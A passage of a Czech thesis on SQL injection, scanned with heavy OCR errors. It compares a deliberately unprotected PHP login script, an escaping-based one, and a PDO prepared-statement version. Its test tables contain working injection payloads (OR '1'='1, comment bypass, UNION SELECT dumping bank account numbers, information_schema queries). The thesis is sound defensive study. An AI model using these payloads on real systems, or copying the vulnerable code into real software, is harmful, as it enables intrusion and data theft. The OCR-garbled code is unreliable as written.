zdrojové kody a ukazky pouziti jsou psané v jazyce PHP verze 5 a jsou spousténé
knihovou webového serveru Apache2 - PHP verze 5.4.36-0+deb7u3. Predpokladaji pouziti
SQL Databazového systému MySQL ve verzi 5.6.23.

4.2 Pouzity formular

Pro ukazky jednoduché napadnutelnosti a zobrazeni dat ulozenych v databazi bez znalosti
spravnych prtihlaSovacich udaji — a to jak do webové aplikace, tak do databazoveho
systému — je pouZzit formulaf pro pfihlaSovani uzivatelli do aplikace. Formular obsahuje
dva vstupy ,uzivatelské jméno“ typu text a ,heslo” typu password. Pro demonstraci

uéinnosti implementovanych ochran poslouzi identicky pfihlaSovaci formulaf.

<form method="POST" action="login.php">
<label for="login">uzZivatelské jméno:</label>

<input type="text" name="userName" value="" />
<label for="password">heslo:</label>
<input type="password" name="password" wvalue="" />

<input type="submit" name="submit" value="Prihlasit">
</form>
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4.3 Zpracujici skript bez zabezpeceni

Tento formulaf zpracovava skript, ktery pouziva vstupy z formulaie v dotazu odesilaném
na databazovy server pro zjisténi identity ptihlaSovaného uzivatele. Na zaklad¢ porovnani
uzivatelského jména a hesla potvrdi ¢i zamitne piihldSeni. Skript neni zddnym zplsobem
chranén proti napadnuti, do databaze se p¥ipojuje pod uZivatelskym jménem root. Radky
zobrazujici vlozené uzivatelské jméno a heslo jsou zde jen pro rychlou orientaci
Vv konstrukei aktudlniho dotazu. Stejnému tcelu slouzi i zobrazeni pravé odeslaného dotazu

a pfipadné zobrazeni chyby, kterou vrati databaze.

if (isset ($ _POST["submit"])) {

Shostname = "localhost";
Susername = "root";
Spassword = "toor";
Sdatabase = "test";

$databaselLink = mysqgl pconnect ($hostname, Susername,
Spassword) ;

if (!$databaselLink) {
echo 'Could not connect to server: '
mysgl error ($databaselink);
}
else({
if (!mysqgl select db(Sdatabase, SdatabaselLink)) {
echo 'Cannot select database: '
mysgl error ($databaselink);

}

SuserName $ POST["userName"];

$ POST["password"];

Spassword

echo "vstup uziv. jmeno:<br />".SuserName."<br /><br />";
echo "heslo:<br />".Spassword."<br /><br />";
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$query = "SELECT users username FROM users WHERE
users username='".SuserName."' AND
users password='".Spassword."';";

echo "dotaz:<br />".S$query."<br /><br />";

if (!Sresult = mysql query(Squery, SdatabaseLink)) {
echo "chyba:<br />";
echo mysqgl error ($databaselLink) ."<br /><br />";
}

else({
if (mysgl num rows (Sresult) == 0) {
echo "Chybné pfihlasSovaci tdaje";
}
else{

while ($Srow = mysgl fetch array(Sresult)) {
echo "prihlésSen!<br /><br />";

echo "prihlédsSeno pod uzivatelskym jménem:";
echo Srow['users username']." <br /><br />";

}

4.4 Zpracujici skript se zastaralym zabezpecenim

Lehka uprava plvodniho nezabezpeceného skriptu spocivd v pfidani

funkce

mysql real escape string, kterd zpracovava data pfijatd metodou POST a

uklada je do proménnych v aplikaci. Toto feSeni ochrany nelze doporucit, jelikoz

nezajistuje skutecnou ochranu proti SQL Injection. DalSi problém nastava v datovych

typech proménné zpracovavané touto funkci. V pfipad€, ze pro zpracovani pouzijeme

proménou datového typu string, jez obsahuje ¢iselnou hodnotu, databaze bude mit problém

se zpracovanim.

if (isset ($_POST["submit"])) {

Shostname = "localhost";
Susername = "test user";
Spassword = "test";
Sdatabase = "test";
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$databaselLink = mysqgl pconnect ($hostname, S$username,
Spassword) ;

if (!$databaselLink) {

echo 'Could not connect to server: '
mysql_error($databaseLink);

}

else{

if (!mysgl select db(Sdatabase, S$databaselLink)) {
echo 'Cannot select database: '

mysgl error ($databaselink);

}

SuserName = mysgl real escape string($ POST["userName"]) ;
Spassword = mysgl real escape string($ POST["password"]);

echo "vstup uziv. jmeno:<br />".SuserName."<br /><br />";
echo "heslo:<br />".$password."<br /><br />";

$query = "SELECT users username FROM users WHERE
users username='".SuserName."' AND
users password='".Spassword."';";

echo "dotaz:<br />".Squery."<br /><br />";

if (!Sresult = mysql query(Squery, SdatabaseLink)) {
echo "chyba:<br />";
echo mysqgl error (SdatabaselLink) ."<br /><br />";
}

else{
if (mysgql num rows (Sresult) == 0) {
echo "Chybné ptrihlaSovaci udaje";
}
else(

while ($row = mysqgl fetch array(Sresult)) {
echo "ptrihlasSen!<br /><br />";

echo "prihlaseno pod uzZzivatelskym jménem:";
echo Srow['users username']." <br /><br />";

}
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4.5 Zpracujici skript s doporuc¢enym zabezpecenim

Pti pouziti svazovani proménnych pomoci PDO knihovny se nejdiive vytvoii nova
instance tfidy PDO, kterd je zapsana do proménné $dbh. Parametry konstruktoru této tfidy
jsou adresa databazového stroje, jméno databaze, uzivatelské jméno a heslo. Zbytek skriptu

pracuje na stejném principu jako predeslé skripty.
if (isset ($ POST["submit"])) {

$db_hostname="localhost";
$db _dbname="test";

$db username="test user";
$db password="test";

try {
Sdbh = new
PDO ('mysgl:host="'.Sdb hostname.';dbname='.Sdb dbname.'',
$db_username, S$db password) ;
} catch (PDOException S$e) {

print "Error!: " . S$Se->getMessage() . "<br/>";
die();

}

Susername = $ POST["username"];

Spassword = $ POST["password"];

echo "vstup uziv. jmeno:<br />".Susername."<br /><br />";
echo "heslo:<br />".S$password."<br /><br />";

$stmt = Sdbh->prepare('SELECT users username FROM users
WHERE users username = :username AND users password =
:password') ;

$dbh—>setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

$stmt->bindValue (':username', Susername, PDO::PARAM STR);

$stmt->bindValue (':password', Spassword, PDO::PARAM STR);

Sstmt->execute () ;
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Squery = S$stmt->queryString;
echo "dotaz:<br />";
echo S$query."<br /><br />";

if (Sstmt->rowCount () == 0) {
echo "Chybné prihlaSovaci udaje";
}
else{
while (Srow = Sstmt->fetchAll ()) {
echo "prihlésSen!<br /><br />";
echo "ptrihlédseno pod uZivatelskym jménem:<br />";
$logged username = Srow[0] ["users username"];
echo $logged username." <br /><br />";

4.6 Testovaci prostrredi

Pro vytvofeni testovaci databaze byl nainstalovan cisty operacni systém Debian 7.2
Wheezy, a doinstalovany byly baliky takzvaného LAMP?’ serveru. Baliky obsahuji webovy
server Apache 2, databazovy systétm MySQL a PHP, coby jazyk pro psani skriptu,

zpracovavanych webovym serverem. Jedna se o tyto baliky:

apache? apache2-doc mysgl-server mysgl-client php5 phpb-
mysgl libapache2-mod-phpb

4.6.1 Nezabezpecené prostiedi

Vse bylo ponechano ve vychozim nastaveni pro simulaci naprosto nezabezpeceného
systtmu. Do databaze se aplikace pfipojovala pod uzivatelskym jménem root, coz
predstavuje velky nedostatek z pohledu bezpe¢nosti. | v dnesni dobé si vSak mnoho
vyvojait ¢i administratord neuvédomuje nebo nepfiznava vysoky stupen nebezpeci,
kterého se ptihlaSovanim pod uZivatelskym jménem root dopousti. Toto uZivatelské jméno

je pfi testovani zamérné pouzito jako demonstrace toho, jakym typiim utoku lze zabranit

17 Prostiedi tvofené komponentami: Linux, Apache, MySQL a PHP
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pouhym vytvofenim nového uzivatele. Po instalaci ma knihovna PHP povolené
zobrazovani chyb pfimo na vystup stranky, proto se veskeré¢ chyby ve skriptech ¢i dotazech
pro databazi zobrazi i béZznym uzivatelim. Z téchto informaci lze v nékterych ptipadech
vycist verze operacniho systému, ktera je na serveru instalovana, ptipadné jaké verze
softwaru server pouziva. Tyto informace také mohou pomoci Gto¢nikovi ziskat kontrolu
nad databazovym systémem nebo i celym strojem, na kterém systém bézi. Toto prostiedi
bylo pouzito 1 pro testy Castecné¢ zabezpeCené aplikace pomoci metody
mysql real escape string(). Pokud je aplikace zabezpecend pomoci této
zastaralé metody, lze predpokladat, ze se tvlrce nezabyval zabezpeCenim ze strany
prostfedi, na kterém je aplikace provozovéna. V opa¢ném piipad¢ by bylo nejspiSe pouzito

zabezpeceni pomoci PDO knihovny a svazovani proménnych.
4.6.2 Zabezpecené prostiedi

Testovani aplikace chranéné metodou svazovani proménnych PDO knihovnou je
spousténo ve stejném prostiedi jako predchozi nechranéné ukdzky. Pro pfipojeni do
databaze je vSak pouzito vlastni, pro tento ucel vytvorené, uzivatelské jméno a heslo.

Zobrazovani chyb v nastaveni PHP je vypnuto.
4.7 Testovaci databaze

Databaze vytvofend za ucelem testovani obsahuje pouze dvé tabulky. Prvni tabulka
zahrnuje uZivatelska jména a hesla pro ovéfeni identity pii ptihlasovani.’® Druh4 tabulka
obsahuje emailové adresy uzivateli a Cisla jejich bankovnich Gétl. V praxi by se pouziti
dvou tabulek pro skladovani udaji sparovanych pomoci jediného kli¢e (uzivatele), u takto
malé databdze, nahradilo jedinou tabulkou, pro demonstraci n¢kterych typd utokd a

moznosti tto¢nika jsou vSak pouzity tabulky dve¢.

18 Hesla jsou pro jednodus$i pochopeni provadénych testd ulozena v prostém textu, na u¢innost utokl to
nema zadny vliv.
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users_id users_username users_password
2 ondrejstary skola,098

5 admin pojliskwl.2

6 Mariefenyklova uhodnout23,+

Tabulka 2 - tabulka users

emails_id emails_users_id | emails_email emails_account

1 1 novak@gmail.com 8763579461351/0800
2 2 ondra@email.com 87321849848/0300

3 5 admin@website.com 546413184864/0100
4 6 fenyklova.marie@company.com | 764131311111/3500

Tabulka 3 - tabulka emails

4.8 Postup testovani

U kazdého typu utoku je nejdiive vyzkousen dany postup na nechranény kod zpracujici

data odeslané z ptihlasovaciho formulafe. Nésledné je proveden test stejného postupu na

varianté obsahujici zastaralou ochranu pomoci escapovani znakd. Nakonec jsou stejné

metody utoku

testovany na upravené verzi skriptu, zabezpefené pomoci svazovani

proménnych v PDO.

4.9 Jednotlivé vstupy

e Uzivatelské jméno — fetézec vyplnény ve formulati do vstupu username

e heslo — fetézec vyplnény ve formulati do vstupu password

e dotaz — finalni dotaz sloZeny z ¢asti zahrnujicich odeslané fetézce z formulare

e vysledek — Retézec zobrazovany aplikaci po odeslani formulafe — tento vystup se

v béznych ptipadech zobrazuje uzivateli
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5 Realné testy

5.1 Nezabezpecena aplikace

4

5.1.1 Predpokladany scénar bézného uzivatele — spravné heslo

Uzivatelské jméno | petrnovak
Heslo heslol234*
SELECT users username FROM users WHERE
Dotaz users_usernaae=’petrnovak' AND
users password='heslol234*"';
Vysledek prihlaseno pod uzZivatelskym jménem:petrnovak

Tabulka 4 - nezabezpecena aplikace - predpokladany scénar bézného uzivatele - spravné heslo

Jako uzivatelské jméno byl pouzit fetézec obsahujici jméno skuteéné ulozené v databazi,

heslo je také spravné a koresponduje s heslem uloZzenym v databazi ve stejném fadku jako

uzivatelské jméno.

5.1.2 Predpokladany scénar béZného uzivatele — Spatné heslo

Uzivatelské jméno | petrnovak
Heslo sesasdjl65151*
SELECT users username FROM users WHERE
Dotaz users userna;ez'petrnovak' AND
users:passwordz'sesasdjl65151*';
Vysledek Chybné prihlasovaci udaje

Tabulka 5 - nezabezpecend aplikace - predpoklidany scéndi bézného uzZivatele - Spatné heslo

Uzivatelské jméno bylo zadéno spravné, ale heslo bylo chybné.

5.1.3 Vlozeni uvozovek

Uzivatelské jméno | admin' OR '1'="'1
Heslo jakekolivheslo

SELECT users username FROM users WHERE
Dotaz

users username='admin' OR 'l1'='1l"' AND
users password='jakekolivheslo';
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Vysledek

prihlaSeno pod uzivatelskym jménem:admin

Tabulka 6 - nezabezpecena aplikace - vioZeni uvozovek

Vstup uzivatelského jména byl vyuzit k pokusu o proniknuti do aplikace pomoci

pozménéného fetézce vyuzivajici vlozenych uvozovek, do vstupu hesla byl vyplnén

nahodny fetézec. PiihlaSeni probéhlo Gspésne.

5.1.4 Komentare

Uzivatelské jméno | admin' --
Heslo opetajkekolivheslo

SELECT users username FROM users WHERE
Dotaz users_usernaaez’admin’ -- ' AND

users password='opetajkekolivheslo';
Vysledek prihlasSeno pod uzivatelskym jménem:admin

Tabulka 7 nezabezpecend aplikace - komentare

Vstup uzivatelského jména byl vyuzit k pokusu o proniknuti do aplikace pomoci znakl pro

ignorovani zbytku dotazu (komentéf), do vstupu hesla byl vyplnén nahodny fetézec.

Jelikoz ho databazovy systém diky komentafi na konci vstupu uzivatelského jména

nepovazuje za soucast dotazu, pokus o proniknuti do aplikace byl spésny.

5.1.5 Spojovani tabulek

Uzivatelské jméno

admin' UNION ALL SELECT emails account FROM
emails —--

Heslo

Jjakekoliv

Dotaz

SELECT users username FROM users WHERE
users username='admin' UNION ALL SELECT
emails account FROM emails —-- ' AND
users password='jakekoliv';

Vysledek

prihlaSeno pod uzivatelskym jménem:admin
prihlaSeno pod uzivatelskym
jménem:8763579461351/0800

prihlaSeno pod uzivatelskym
jménem:87321849848/0300

prihlaSeno pod uzivatelskym
jménem:546413184864/0100
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prihlaseno pod uzivatelskym
jménem:764131311111/3500

Tabulka 8 - nezabezpecend aplikace - spojovani tabulek

Uzivatelské jméno je vyplnéno cCasti dotazu pokousejicitho se zobrazit obsah tabulky
emails. Na vstupu pro heslo ani vtomto piipadé nezalezi, protoze na konci fetézce
uzivatelského jména je opét znak pro vyfazeni zbytku fadku z dotazu. V tomto piipadé
doslo k vyzrazeni Cisel bankovnich uctl uzivateli, ktery k jejich zobrazeni nema opravnéni.

Tato ¢isla uctu byla ulozena v jiné tabulce nez uzivatelska jména a hesla.

5.1.6 Zjistovani poctu sloupci

Uzivatelské jméno | admin' ORDER BY 1 --
Heslo heslo
SELECT users username FROM users WHERE
Dotaz users username='admin' ORDER BY 1 -- ' AND
users password='heslo';
Vysledek Chybné ptrihlaSovaci udaje

Tabulka 9 - nezabezpecena aplikace - zjistovani poctu sloupcii 1

Vstup uZivatelského jména je vyplnén fetézcem pokouSejicim zjistit pocet sloupct
v tabulce. Heslo je opét bezpiedmétné, nebot’ je z dotazu vynechano. Nebyla zobrazena
zadna chyba, pouze zprava o chybné zadanych piihlaSovacich tidajich. Proti tomuto typu

utoku je jiz aktualni verze MySQL zabezpecena.

Uzivatelské jméno | admin' ORDER BY 6 —-
Heslo heslo
SELECT users username FROM users WHERE
Dotaz users username='admin' ORDER BY 6 -- ' AND
users password='heslo';
Vysledek Chybné ptrihlaSovaci tudaje

Tabulka 10 - nezabezpecend aplikace - zjistovani poctu sloupcii 2

Vstup uzivatelského jména je vyplnén fetézcem pokousejicim se zjistit pocet sloupct
v tabulce. Heslo je opét bezpiedmétné, nebot’ je z dotazu vynechano. Nebyla zobrazena
zadna chyba, pouze zprava o chybné zadanych ptihlaSovacich udajich. Proti tomuto typu

utoku je jiz aktualni verze MySQL zabezpecena.
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5.1.7 Zjistovani nazvi sloupcu

.- L, user ' GROUP BY whatever --
Uzivatelské jméno
Heslo heslo
SELECT users username FROM users WHERE
Dotaz users username='user' GROUP BY whatever -- '
AND users password='heslo';
Vysledek Chybné p¥ihlagovaci tudaje

Tabulka 11 - nezabezpecend aplikace - zjistovani ndzvii sloupcii

Uzivatelské jméno je fetézcem pokousejicim se zjistit nazev sloupce v tabulce. Vstup hesla
je opét zdotazu vynechan. Nebyla zobrazena zadna chyba, pouze zprava o chybné
zadanych ptihlaSovacich udajich. Proti tomuto typu utoku je jiz aktudlni verze MySQL

zabezpecena.

5.1.8 Zjistovani datovych typu sloupci

Uzivatelské jméno | user' union select 1 from accounts --
Heslo heslo
SELECT users username FROM users WHERE
Dotaz users_username='user' union select 1 from
accounts --' AND users password='heslo';
Vysledek Chybné prihlaSovaci udaje

Tabulka 12 - nezabezpecena aplikace - zjistovani datovych typii sloupcii

Vstup uzivatelského jména je vyuzit k pokusu o zjisténi datového typu sloupct z tabulky.
Heslo je z dotazu vynechano. Nebyla zobrazena zadna chyba, pouze zprava o chybné
zadanych ptihlasovacich udajich. Proti tomuto typu utoku je jiz aktualni verze MySQL

zabezpecena.

5.1.9 Information_schema

.. , -, admin' UNION SELECT GROUP CONCAT (table name)
Uzivatelské jméno - -
FROM information schema.tables --
Heslo heslo
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SELECT users username FROM users WHERE
users_username='admin' UNION SELECT
Dotaz GROUP CONCAT (table name) FROM
information schema.tables -- ' AND
users password='heslo';

Illegal mix of collations for operation

Vysledek
'"UNION'

Tabulka 13 - nezabezpecend aplikace - information_schema

Uzivatelské jméno je pouzito pro pokus o zjisténi ndzvla tabulek ze struktury
information_schema. Heslo je z dotazu vynechano. K zobrazeni nazvu tabulek ulozenych
ve struktufe information schema nedoslo pouze z diivodu jiného datového typu sloupce
users username. Diky tomu, Ze je aplikace pfihlaSena k databazi pomoci

uzivatelského jména root, ma vSak Gto¢nik plny piistup k této struktuie.
5.2 Aplikace zabezpecena escapovanim znaku

5.2.1 Predpokladany scénar béZného uzivatele — spravné heslo

Uzivatelské jméno | petrnovak

Heslo heslol234*
SELECT users username FROM users WHERE
Dotaz users_username='petrnovak' AND

users password='heslol234*"';

Vysledek prihld3eno pod uZivatelskym jménem:petrnovak

Tabulka 14 - aplikace zabezpecend escapovanim znakii - predpokladany scéndri- bézného uZivatele - spravné
heslo

Jako uzivatelské jméno byl pouzit fetézec obsahujici jméno skute¢né ulozené v databazi,
heslo je také spravné a koresponduje s heslem ulozenym v databézi, ve stejném tadku jako

uZzivatelské jméno.

5.2.2 Predpokladany scénar béZného uzivatele — Spatné heslo

Uzivatelské jméno | petrnovak

Heslo sesasdjl65151*

SELECT users username FROM users WHERE

users username='petrnovak' AND

Dotaz
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users password='sesasdjl65151*';

Vysledek Chybné prihlaSovaci udaje

Tabulka 15 - aplikace zabezpecend escapovinim znakii - pedpokladany scéndr bézného uzivatele - Spatné
heslo

Uzivatelské jméno bylo zadano spravné, ale heslo bylo nahodné.

5.2.3 Vlozeni uvozovek

Uzivatelské jméno | admin' OR '1'="'1
Heslo jakekolivheslo

SELECT users username FROM users WHERE
Dotaz users username='admin\' OR \'1\'=\'1l' AND

users password='jakekolivheslo';

Vysledek Chybné prihlaSovaci udaje

Tabulka 16 - aplikace zabezpecend escapovanim znakii - vioZeni uvozovek

Vstup uzivatelského jména byl vyuzit k pokusu o proniknuti do aplikace pomoci
pozménéného fetézce vyuzivajici vlozenych uvozovek, do vstupu hesla byl vyplnén
nahodny fetézec. Provedené testy aplikace zabezpefené escapovanim fetézcl zaddvanych
uzivatelll dokazuji Gi€innost této ochrany v tomto konkrétnim ptipadé. Funkce byla pouzita
na vSechny vstupy zadavané uzivatelem. Diky konstrukci tohoto konkrétniho dotazu neni
prostor pro pouziti fetézce neobsahujici specialni znaky. Neznamena to vsak, Ze je toto
zabezpeceni dostatecné vzdy a rozhodn€ nelze doporucit jeho pouziti. VSechny testy
aplikace zabezpecené¢ timto zplUsobem skoncili informaci o chybné zadanych

piihlasovacich tidajich a uto¢nik neziskal Zadn4 data, ke kterym nema opravneéni.

5.2.4 Komentare

Uzivatelské jméno | admin' --

Heslo opetajkekolivheslo

SELECT users username FROM users WHERE
Dotaz users username='admin\' -- ' AND
users password='opetajkekolivheslo';

Vysledek Chybné ptrihlaSovaci tudaje

Tabulka 17 - aplikace zabezpecend escapovanim znakii - komentdie
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Vstup uzivatelského jména byl vyuzit k pokusu o proniknuti do aplikace pomoci znak pro
ignorovani zbytku dotazu (komentar), do vstupu hesla byl vyplnén ndhodny fetézec nebot’
ho diky komentéii na konci vstupu uzivatelského jména databazovy systém nepovazuje za

soucast dotazu.

5.2.5 Spojovani tabulek

Uzivatelské jméno admin' UNION ALL SELECT emails account FROM
emails —--

Heslo jakekoliv
SELECT users username FROM users WHERE

Dotaz users username='admin\' UNION ALL SELECT
emails account FROM emails -- ' AND
users password='jakekoliv';

Vysledek Chybné prihlaSovaci tdaje

Tabulka 18 - aplikace zabezpecend escapovanim znakii - spojovani tabulek

Uzivatelské jméno je vyplnéno casti dotazu pokouSejiciho se zobrazit obsah tabulky
emails. Na vstupu pro heslo ani vtomto pfipad¢ nezalezi, protoze na konci fetézce

uZzivatelského jména je opé€t znak pro vyfazeni zbytku fadku z dotazu.

5.2.6 Zjistovani poctu sloupci

Uzivatelské jméno | admin' ORDER BY 1 --

Heslo heslo
SELECT users username FROM users WHERE
Dotaz users username='admin\' ORDER BY 1 -- ' AND

users password='heslo';

Vysledek Chybné ptrihlaSovaci tudaje

Tabulka 19 - aplikace zabezpecend escapovanim znakii - zjistovdani poctu sloupcii 1
Vstup uzZivatelského jména je vyplnén fetézcem pokouSejicim zjistit pocet sloupcil

Vv tabulce. Heslo je opét bezpredmétné, nebot’ je z dotazu vynechéno.

Uzivatelské jméno | admin' ORDER BY 6 --

Heslo heslo
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SELECT users username FROM users WHERE
Dotaz users username='admin\' ORDER BY 6 -- ' AND
users password='heslo';

Vysledek Chybné prihlaSovaci udaje

Tabulka 20 - aplikace zabezpecend escapovanim znakii - zjistovani poctu sloupcit 2

5.2.7 Zjistovani nazvu sloupci

Uzivatelské jméno | user' GROUP BY whatever --

Heslo heslo
SELECT users username FROM users WHERE
Dotaz users username='user\' GROUP BY whatever -- '

AND users password='heslo';

Vysledek Chybné pfrihlasovaci udaje

Tabulka 21 - aplikace zabezpecend escapovanim znakii - zjistovani ndzvii sloupcii

Uzivatelské jméno je fetézcem pokousejicim se zjistit nazev sloupce v tabulce. Vstup hesla

je opé€t z dotazu vynechan.

5.2.8 Zjistovani datovych typi sloupcii

Uzivatelské jméno | user' union select 1 from accounts --
Heslo heslo
SELECT users username FROM users WHERE
Dotaz users username='user\' union select 1 from
accounts -- ' AND users password='heslo';
Vysledek Chybné p¥ihlasovaci udaje

Tabulka 22 - aplikace zabezpecend escapovanim znakii - zjistovani datovych typii sloupcii
Vstup uzivatelského jména je vyuzit k pokusu o zjisténi datového typu sloupct z tabulky.

Heslo je z dotazu vynechano.

5.2.9 Information_schema

admin' UNION SELECT GROUP CONCAT (table name)

Uzivatelské jméno
FROM information schema.tables --
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Heslo

heslo

SELECT users username FROM users WHERE
users username='admin\' UNION SELECT

Dotaz GROUP CONCAT (table name) FROM
information schema.tables -- ' AND
users password='heslo';

Vysledek Chybné prihlaSovaci udaje

Tabulka 23 - aplikace zabezpecend escapovanim znakii - information_schema

Uzivatelské jméno je pouzito pro pokus o zjisténi nazvi tabulek ze struktury

information_schema. Heslo je z dotazu vynechano.

5.3 Aplikace zabezpecéena svazovanim proménnych v PDO

5.3.1 Predpokladany scénar béZného uzivatele

Uzivatelské jméno | petrnovak

Heslo heslol234*
SELECT users username FROM users WHERE

Dotaz users username = :username AND users password
= :password

Vysledek prihlasen jako: petrnovak

Tabulka 24 - aplikace zabezpecend svazovinim proménnych v PDO - predpoklidany scéndi bézného
uzivatele - spravné heslo

Jako uzivatelské jméno byl pouzit fetézec obsahujici jméno skute¢né ulozené v databézi,
heslo je také spravné a koresponduje s heslem ulozenym v databazi, ve stejném tadku jako

uzivatelské jméno.

5.3.2 Predpokladany scénar béZného uzivatele — Spatné heslo

Uzivatelské jméno | petrnovak

Heslo sesasdjl65151*
SELECT users username FROM users WHERE

Dotaz users _username = :username AND users password
= :password

Vysledek Chybné prihlafovaci tudaje
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Tabulka 25 - aplikace zabezpecend svazovdanim proménnych v PDO - predpoklidany scéndi béZného
uzivatele - Spatné heslo

Uzivatelské jméno bylo zadano spravné, ale heslo bylo ndhodné.

5.3.3 Vlozeni uvozovek

Uzivatelské jméno | admin' OR '1'='1

Heslo jakekolivheslo
SELECT users username FROM users WHERE

Dotaz users username = :username AND users password
= :password

Vysledek Chybné prihlaSovaci tdaje

Tabulka 26 - aplikace zabezpecend svazovanim proménnych v PDO - vioZeni uvozovek

Vstup uzivatelského jména byl vyuzit k pokusu o proniknuti do aplikace pomoci
pozménéného fetézce vyuzivajici vlozenych uvozovek, do vstupu hesla byl vyplnén

nahodny fetézec.

5.3.4 Komentare

Uzivatelské jméno | admin' --

Heslo opetajkekolivheslo
SELECT users username FROM users WHERE

Dotaz users username = :username AND users password
= :password

Vysledek Chybné prihlaZovaci udaje

Tabulka 27 - aplikace zabezpecend svazovanim proménnych v PDO - komentdie

Vstup uzivatelského jména byl vyuzit k pokusu o proniknuti do aplikace pomoci znaki pro
ignorovani zbytku dotazu (komentéat). Do vstupu hesla byl vyplnén ndhodny fetézec,
jelikoz ho diky komentédii na konci vstupu uZivatelského jména databidzovy systém

nepovazuje za soucast dotazu.

5.3.5 Spojovani tabulek

. f e, admin' UNION ALL SELECT emails account FROM
Uzivatelské jméno —
emails --
Heslo jakekoliv
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SELECT users username FROM users WHERE

Dotaz users username = :username AND users password
= :password
Vysledek Chybné prihlaSovaci udaje

Tabulka 28 - aplikace zabezpecend svazovanim proménnych v PDO - spojovani tabulek

Uzivatelské jméno je vyplnéno casti dotazu pokousejicitho se zobrazit obsah tabulky

emails. Na vstupu pro heslo ani vtomto pfipad¢ nezalezi, protoze na konci fetézce

uzivatelského jména je opét znak pro vyfazeni zbytku fadku z dotazu.

5.3.6 Zjistovani poctu sloupcii

Uzivatelské jméno | admin' ORDER BY 1 --

Heslo heslo
SELECT users username FROM users WHERE

Dotaz users username = :username AND users password
= :password

Vysledek Chybné prihlaSovaci udaje

Tabulka 29 - aplikace zabezpecend svazovanim proménnych v PDO - zjistovani poctu sloupcii 1

Vstup uzivatelského jména je vyplnén fetézcem pokousSejicim se zjistit pocet sloupcii

Vv tabulce. Heslo je opét bezptedmétné, nebot’ je z dotazu vynechéno.

Uzivatelské jméno | admin' ORDER BY 6 —-

Heslo heslo
SELECT users username FROM users WHERE

Dotaz users username = :username AND users password
= :password

Vysledek Chybné prihlasSovaci udaje

Tabulka 30 - aplikace zabezpecend svazovanim proménnych v PDO - zjistovani poctu sloupcii 2

5.3.7 Zjistovani nazvu sloupci

Uzivatelské jméno

user' GROUP BY whatever --

Heslo

heslo
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SELECT users username FROM users WHERE

Dotaz users username = :username AND users password
= :password
Vysledek (24dny vysledek)

Tabulka 31 - aplikace zabezpecend svazovanim proménnych v PDO - zjistovani nazvii sloupcii

Uzivatelské jméno je fetézcem pokousejicim se zjistit nazev sloupce v tabulce. Vstup hesla

je opé€t z dotazu vynechan.

5.3.8 Zjistovani datovych typi sloupcii

user ' union select 1 from accounts -

Uzivatelské jméno

Heslo heslo
SELECT users username FROM users WHERE

Dotaz users username = :username AND users password
= :password

Vysledek Chybné prihlasSovaci udaje

Tabulka 32 - aplikace zabezpecend svazovanim proménnych v PDO - zjistovani datovych typii sloupcii

Vstup uzivatelského jména je vyuzit K pokusu o zjisténi datového typu sloupcu z tabulky.

Heslo je z dotazu vynechano.

5.3.9 Information_schema

admin' UNION SELECT GROUP CONCAT (table name)

Uzivatelské jméno
FROM information schema.tables --

Heslo heslo
SELECT users username FROM users WHERE

Dotaz users username = :username AND users password
= :password

Vysledek Chybné prihlaSovaci udaje

Tabulka 33 - aplikace zabezpecdend svazovanim proménnych v PDO - information_schema

Uzivatelské jméno je pouzito pro pokus o zjisténi nézvh tabulek ze struktury

information_schema. Heslo je z dotazu vynechano.
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5.4 Hodnoceni vysledkii

Vysledky testli vychoziho a navrhovanych feseni odpovidaji S minimalnimi odchylkami
predpokladiim prezentovanym v teoretické Casti prace. Skript, ktery nebyl zabezpecen
zadnym zplsobem, umozioval piihlasit se do aplikace bez znalosti spravného
uzivatelského jména a hesla. Pfi podstréeni spravného fetézce bylo rovnéz mozné Cist data
i z dalSich tabulek uloZenych v databazi. Nebylo vSak mozné zjistit popsanymi metodami
pocet sloupcti v tabulce, stejné jako jejich ndzev a datovy typ. Aktudlni verze MySQL
nezobrazuje v chybovych hlasenich informace o spravném nazvu sloupce, ale pouze
oznami O neexistenci sloupce pouzit¢ho v dotazu. Pfi pokusu o zneuziti struktury
information_schema nastal problém s datovymi typy sloupcl, ovSem databazovy systém
by fadky s nazvy tabulek umoznil ¢ist, pokud by byl utok veden pomoci uzivatelského

vstupu jiného datového typu, shodného s information_schema.

Aplikace zabezpeCena pomoci escapovani specidlnich znaku je dle testli ochranéna pted
témito  zdkladnimi  typy utoki pouze za predpokladu, ze je funkce
mysql real escape string pouZita u vSech uZivatelskych vstupi, coz v§ak mliZze byt snadno
poruseno nepozornosti vyvojafe. Dokladuje to zjevné pouziti jakéhokoliv vstupu, ktery

uzivatel vlozi v pozménéné podobé SQL dotazu.

V ptipad¢ pouZiti ochrany v podobé svazovani proménnych knihovnou PDO, dotaz vzdy
zustava stejny — predpfipraveny, coz je vidét na vSech vysledcich testli provedenych na
skriptu oSetfeném touto metodou. UZivatelské vstupy jsou pouze dopliovany do
proménnych v tomto pfedpiipraveném dotazu a nemohou nijak ovlivnit podobu dotazu.
Jedna se navic piimo o pouZitou technologii k vyvoji aplikace, nemuize se tedy stat, ze by
programator opomnél néktery ze vstupl oSetfit. Ochrana je tak implementovéana jiz od
samého vyvoje aplikace bez dalSich pomocnych funkci. Toto je také nejvétsi vyhodou pii

vytvareni aplikaci za pomoci této knihovny.
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6 Zavér

Téma SQL Injection toku je stale aktualni i ptes velkou ¢asovou prodlevu od jeho prvni
prezentace. | pfes neustalé upozoriiovani na nebezpe€i spojené s ignorovanim moznosti
tohoto typu utoku, fada webovych aplikaci stadle nemé implementovano zadné zabezpeceni
proti zcizeni a zneuziti dat timto zptisobem. Cilem této prace bylo seznamit S historii
jazyka SQL a na ptikladech ukdzat zaklady prace s timto jazykem. Predev§im zéklady
prace s SQL databazemi byly dulezité pro pochopeni dalSich teoretickych principti
uvedenych v praci. Za dalsi cil si prace kladla prezentovat teoretické poznatky z dané
problematiky, osvétlit obecné moznosti uto¢nika utoCiciho na databazi a na ptikladech

popsat teorii utoku na aplikaci, ktera neni zabezpecena proti SQL Injection ttokiim.

Cilem praktické casti prace bylo navrhnout feSeni zabezpeceni WWW aplikace proti
uspé$nému zkonfrontovani timto typem utoku a ovéfit rezistenci v praxi. Na zakladé
realnych testt porovnavajicich stejnou aplikaci pied implementaci ochrany a po zaclenéni
zabezpeceni zpiisobem svazovani proménnych pomoci PDO je mozné konstatovat, Ze
pouhou zménou zpisobu vyvoje dané aplikace je mozné zabranit vysokému nebezpeci
kradeze dat. Toto feSeni ssebou navic nese vyhodu univerzalnosti pouziti aplikace
s Sirokym portfoliem databazovych systémi bez nutnosti prepisovat metody a funkce

